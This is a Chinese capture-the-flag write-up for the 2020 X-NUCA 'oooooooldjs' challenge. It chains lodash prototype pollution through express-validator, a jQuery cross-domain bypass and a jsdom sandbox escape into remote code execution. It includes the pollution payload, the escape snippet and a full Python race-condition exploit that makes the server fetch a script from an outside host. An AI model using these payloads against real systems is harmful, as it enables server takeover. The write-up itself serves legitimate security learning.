2020年xnuca oooooooldjs题解

  • A+
所属分类:逆向工程

2020年xnuca oooooooldjs题解


2020年xnuca oooooooldjs题解
2020年xnuca oooooooldjs题解
题目文件

链接:https://pan.baidu.com/s/1IQvksS6scyjj7u64gYiyQA(点击“阅读原文”查看链接
提取码:lobd


2020年xnuca oooooooldjs题解
2020年xnuca oooooooldjs题解
题目描述




npm audit may miss something, be careful of the version of lodash. There is prototype pollution in express-validator, limited but powerful。



npm audit发现lodash有原型链污染漏洞

# Run  npm update lodash --depth 2  to resolve 1 vulnerability
Low Prototype Pollution
Package lodash
Dependency of express-validator
Path express-validator > lodash
More info https://npmjs.com/advisories/1523

https://snyk.io/test/npm/express-validator/2.21.0 中查看lodash中出现原型链污染的地方,依次下断点(点击“阅读原文”查看链接)

传入json数据:{"233":123}发现:

2020年xnuca oooooooldjs题解

调用了存在原型链污染的set方法,且[233]不为object的键值,在这里可以触发原型链污染

一波测试后得到原型链污染的payload:{"."].__proto__["crossDomain":{"1":"2"}},但是不能控制原型链污染的值

审计题目代码发现,非常有意思的两个地方

  1. 显眼的dangerous

    2020年xnuca oooooooldjs题解

  2. 这里自己实现了数据库的CURD四种方法

学习了一波后发现第一点可以触发RCE

const { JSDOM } = require("jsdom");
new JSDOM(`<body> <script> const outerRealmFunctionConstructor = Node.constructor; const process = new outerRealmFunctionConstructor("return process")(); const require = process.mainModule.require;
// Game over! const fs = require('fs'); console.log(fs.readdirSync('.'));</script></body>`, { runScripts: "dangerously" });

在util.js中定义了唯一会用到jsdom的函数

const {    JSDOM} = require("jsdom")const {    window} = new JSDOM(``, {    url: originUrl,    runScripts: "dangerously"})// server side `$` XDconst $ = require('jquery')(window)
const requests = async (url, method) => { let result = "" try { result = await $.ajax({ url: url, type: method, })
console.log(result) } catch (err) { console.log(err) result = { data: "" } }
return result.data}

jquery的ajax有个特性是如果返回的content-type是text/javascript等代表着js脚本,那么便会执行js,结合上面的jsdom从而RCE,但是在低版本的话确实可以这么做,但是在高版本jquery进行了限制,如果是跨域请求便不会执行脚本

调试jquery代码发现:

2020年xnuca oooooooldjs题解

这里会覆盖我们的content-type,继续调试发现设置crossDomain的逻辑

2020年xnuca oooooooldjs题解

如果s.crossDomain == null就会进入是否跨域的判断

利用前面的原型链污染从而绕过jquery的跨域限制

还剩下一个问题,我们如何传入自己的url

express开着一个中间件限制了我们url,而且也不让更新url类型的数据

const middlewares = [    // should be    body('*').trim(),    body('type').if(body('type').exists()).bail().isIn(['url', 'text'])    .withMessage("type must be `url` or `text`"),    body('block').if(body('type').exists()).notEmpty()    .withMessage("no `block` content").bail()    .if(body('type').isIn(['url'])).isURL({        require_tld: false    })    .custom((value, {        req    }) => new URL(value).host === host)    .withMessage("invalid url!"),    (req, res, next) => {        const errors = validationResult(req)        if (!errors.isEmpty()) {            return res.status(400).json({                errors: errors.array()            })        }        next()    }]

回到我们刚刚说的第二点有趣的地方,这个简单的数据库并不支持事务功能,也就是说删除type和data并不会同时删除是存在一定的时间差的,相关代码如下

D(id) {        let di, dt        for (const index in this.datas) {            if (this.datas[index].id === id) {                dt = this.types[index]                this.types.splice(index, 1)                di = index            }        }        if (dt === 'url') {            requests(this.datas[di].block, "DELETE").finally(()=>{                this.datas = this.datas.filter((value)=>value.id !== id)            })        } else {            this.datas = this.datas.filter((value)=>value.id !== id)        }    }

在删除了type后,他进行了一个相当耗时的操作:访问url,之后才删除data,又因为这里是一个链式删除,一个接着一个删除,所有type删除完后它可能才删除一个data

于是有:

import requestschallenge = "http://eci-2ze1whgyeh7v30y5j8yh.cloudeci1.ichunqiu.com:8888"def insertUrl(url):    burp0_url = challenge+"/data"    burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}    burp0_data = {"type": "url", "block": url}    result = {}    while True:        try:            result = requests.post(burp0_url, headers=burp0_headers, data=burp0_data).json()        except Exception as e:            continue        return result
def insertData(data): burp0_url = challenge+"/data" burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"} burp0_data = {"type": "text", "block": data} r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data) return r.json()
def setLongLine(length=2000): endId="" url = "http://localhost:8888/data/fake-uuid" count = 0 while count < length: count+=1 data = insertUrl(url) url = "http://localhost:8888/data/"+data["data"]["id"] endId = data["data"]["id"] return endId
def deleteUrl(id): burp0_url = challenge+"/data/"+id burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"} try: requests.delete(burp0_url, headers=burp0_headers,timeout = 0.1) except Exception as e: print("开始删除数据")def insertTryData(targetUrl): id = insertData(targetUrl)["data"]["id"] setLongLine(10) return id#填充数据print("填充数据")id = setLongLine(500)targetId=insertTryData("http://ccreater.top:60006/")print("数据填充完成")#删除数据deleteUrl(id)#fuzz
burp0_url = challenge+"/data/"+targetIdburp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "Origin": "http://100.100.1.11:8888", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://100.100.1.11:8888/data", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}burp0_json={"."].__proto__["crossDomain": {"1": "2"}}
print("开始爆破")while True: requests.get(burp0_url, headers=burp0_headers, json=burp0_json)

拿到flag

2020年xnuca oooooooldjs题解

- End -
精彩推荐

如何在Ubuntu v20.04上获取root权限

微软工程师薅微软羊毛1000万美金,竟拿同事当替罪羊

双十一大回血:送书+送钱!

美国联邦贸易委员会曝光Zoom就端到端加密问题已欺骗用户多年

2020年xnuca oooooooldjs题解


戳“阅读原文”查看更多内容

本文始发于微信公众号(安全客):2020年xnuca oooooooldjs题解

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: